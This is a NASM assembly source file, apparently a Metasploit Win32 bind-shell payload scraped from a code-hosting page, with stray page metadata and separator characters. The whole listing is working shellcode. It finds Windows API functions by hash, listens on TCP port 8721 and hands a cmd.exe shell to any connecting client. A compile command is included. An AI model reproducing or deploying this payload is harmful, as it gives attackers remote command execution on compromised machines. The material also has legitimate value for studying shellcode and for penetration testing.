239 lines
No EOL
3.9 KiB
NASM
239 lines
No EOL
3.9 KiB
NASM
; Title: Win32 Bind Shell
|
|
; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
|
|
; Function: Listen for connection and spawn command shell
|
|
; Author: hdm[at]metasploit.com
|
|
|
|
; Compile: nasm -f bin -o win32_bind.bin win32_bind.asm
|
|
|
|
|
|
[BITS 32]
|
|
|
|
global _start
|
|
|
|
_start:
|
|
|
|
LCaller:
|
|
call LLoadFunctions
|
|
|
|
LDataSegment:
|
|
;========================
|
|
|
|
dd "CMD"
|
|
|
|
dd 0x79c679e7 ; closesocket 12
|
|
dd 0x498649e5 ; accept 16
|
|
dd 0xe92eada4 ; listen 20
|
|
dd 0xc7701aa4 ; bind 24
|
|
dd 0xadf509d9 ; WSASocketA 28
|
|
dd 0x3bfcedcb ; WSAStartup 32
|
|
|
|
dd 0xec0e4e8e ; LoadLibraryA 36
|
|
dd 0x73e2d87e ; ExitProcess 40
|
|
dd 0xce05d9ad ; WaitForSingleObject 44
|
|
dd 0x16b3fe72 ; CreateProcessA 48
|
|
|
|
db "WS2_32.DLL", 0x00, 0x01
|
|
;========================
|
|
|
|
LLoadFunctions:
|
|
pop ebx
|
|
push esp
|
|
mov ebp, esp
|
|
mov [ebp], ebx
|
|
|
|
LKernel32Base:
|
|
push byte 0x30
|
|
pop ecx
|
|
mov eax, [fs:ecx]
|
|
mov eax, [eax + 0x0c]
|
|
mov esi, [eax + 0x1c]
|
|
lodsd
|
|
mov ebx, [eax + 0x08]
|
|
jmp short LStartLoading
|
|
|
|
LLoadWinsock:
|
|
lea edx, [edi + 44] ; get address of ws2_32.dll
|
|
push ecx ; save counter
|
|
push edx ; push address of ws2_32.dll
|
|
call eax ; LoadLibraryA()
|
|
mov ebx, eax ; save module handle
|
|
pop ecx ; restore counter
|
|
jmp short Looper2
|
|
|
|
LStartLoading:
|
|
; Start loading addresses at ebp + 12
|
|
push byte 0x08
|
|
pop esi
|
|
add esi, ebp
|
|
|
|
; Function counter
|
|
push byte 0x0a
|
|
pop ecx
|
|
mov edi, [ebp]
|
|
|
|
Looper:
|
|
cmp cl, 0x06
|
|
je short LLoadWinsock
|
|
|
|
Looper2:
|
|
push ecx ; save the counter
|
|
push ebx ; dll handle
|
|
push dword [edi + ecx*4] ; function hash value
|
|
call LGetProcAddress ; find the address
|
|
pop ecx ; restore the counter
|
|
mov [esi + ecx * 4], eax ; stack segment to store addresses
|
|
loop Looper
|
|
xor edi, edi
|
|
|
|
LWSAStartup:
|
|
; WSAStartup(0x101, DATA)
|
|
sub sp, 400
|
|
push esp
|
|
push 0x101
|
|
call [ebp + 32]
|
|
|
|
LWSASocketA:
|
|
; WSASocketA(2,1,0,0,0,0)
|
|
push edi
|
|
push edi
|
|
push edi
|
|
push edi
|
|
inc edi
|
|
push edi
|
|
inc edi
|
|
push edi
|
|
call [ebp + 28]
|
|
mov ebx, eax ; save socket to ebx
|
|
xor edi, edi
|
|
|
|
LBind:
|
|
push edi
|
|
push edi
|
|
push dword 0x11220002 ; port 8721
|
|
mov esi, esp
|
|
push byte 0x10 ; length
|
|
push esi
|
|
push ebx
|
|
call [ebp + 24]
|
|
|
|
LListen:
|
|
push edi
|
|
push ebx
|
|
call [ebp + 20]
|
|
|
|
LAccept:
|
|
push edi
|
|
push esi
|
|
push ebx
|
|
call [ebp + 16]
|
|
mov edx, eax
|
|
|
|
LCreateProcessStructs:
|
|
; allocate space for STARTUPINFO, PROCESS_INFORMATION
|
|
sub sp, 0x54
|
|
|
|
; zero out SI/PI
|
|
lea edi, [esp]
|
|
xor eax, eax
|
|
push byte 21
|
|
pop ecx
|
|
|
|
LBZero:
|
|
rep stosd
|
|
|
|
mov edi, edx
|
|
mov byte [esp + 16], 68 ; si.cb = sizeof(si)
|
|
inc byte [esp + 61] ; si.dwFlags = 0x100
|
|
|
|
; socket handles
|
|
mov [esp + 16 + 56], edi
|
|
mov [esp + 16 + 60], edi
|
|
mov [esp + 16 + 64], edi
|
|
|
|
lea eax, [esp + 16] ; si
|
|
push esp ; pi
|
|
push eax
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
|
|
inc ecx
|
|
push ecx
|
|
dec ecx
|
|
|
|
push ecx
|
|
push ecx
|
|
push dword [ebp]
|
|
push ecx
|
|
|
|
LCreateProcess:
|
|
call [ebp + 48]
|
|
mov ecx, esp
|
|
|
|
LWaitForSingleObject:
|
|
push 0xFFFFFFFF
|
|
push dword [ecx]
|
|
call [ebp + 44]
|
|
|
|
LCloseSocket:
|
|
push edi
|
|
call [ebp + 12]
|
|
|
|
LFinished:
|
|
call [ebp + 40]
|
|
|
|
LGetProcAddress:
|
|
push ebx
|
|
push ebp
|
|
push esi
|
|
push edi
|
|
mov ebp, [esp + 24]
|
|
mov eax, [ebp + 0x3c]
|
|
mov edx, [ebp + eax + 120]
|
|
add edx, ebp
|
|
mov ecx, [edx + 24]
|
|
mov ebx, [edx + 32]
|
|
add ebx, ebp
|
|
|
|
LFnlp:
|
|
|
|
jecxz LNtfnd
|
|
dec ecx
|
|
mov esi, [ebx + ecx * 4]
|
|
add esi, ebp
|
|
xor edi, edi
|
|
cld
|
|
|
|
LHshlp:
|
|
|
|
xor eax, eax
|
|
lodsb
|
|
cmp al, ah
|
|
je LFnd
|
|
ror edi, 13
|
|
add edi, eax
|
|
jmp short LHshlp
|
|
|
|
LFnd:
|
|
|
|
cmp edi, [esp + 20]
|
|
jnz LFnlp
|
|
mov ebx, [edx + 36]
|
|
add ebx, ebp
|
|
mov cx, [ebx + 2 * ecx]
|
|
mov ebx, [edx + 28]
|
|
add ebx, ebp
|
|
mov eax, [ebx + 4 * ecx]
|
|
add eax, ebp
|
|
jmp short LDone
|
|
|
|
LNtfnd:
|
|
xor eax, eax
|
|
|
|
LDone:
|
|
mov edx, ebp
|
|
pop edi
|
|
pop esi
|
|
pop ebp
|
|
pop ebx
|
|
ret 8 |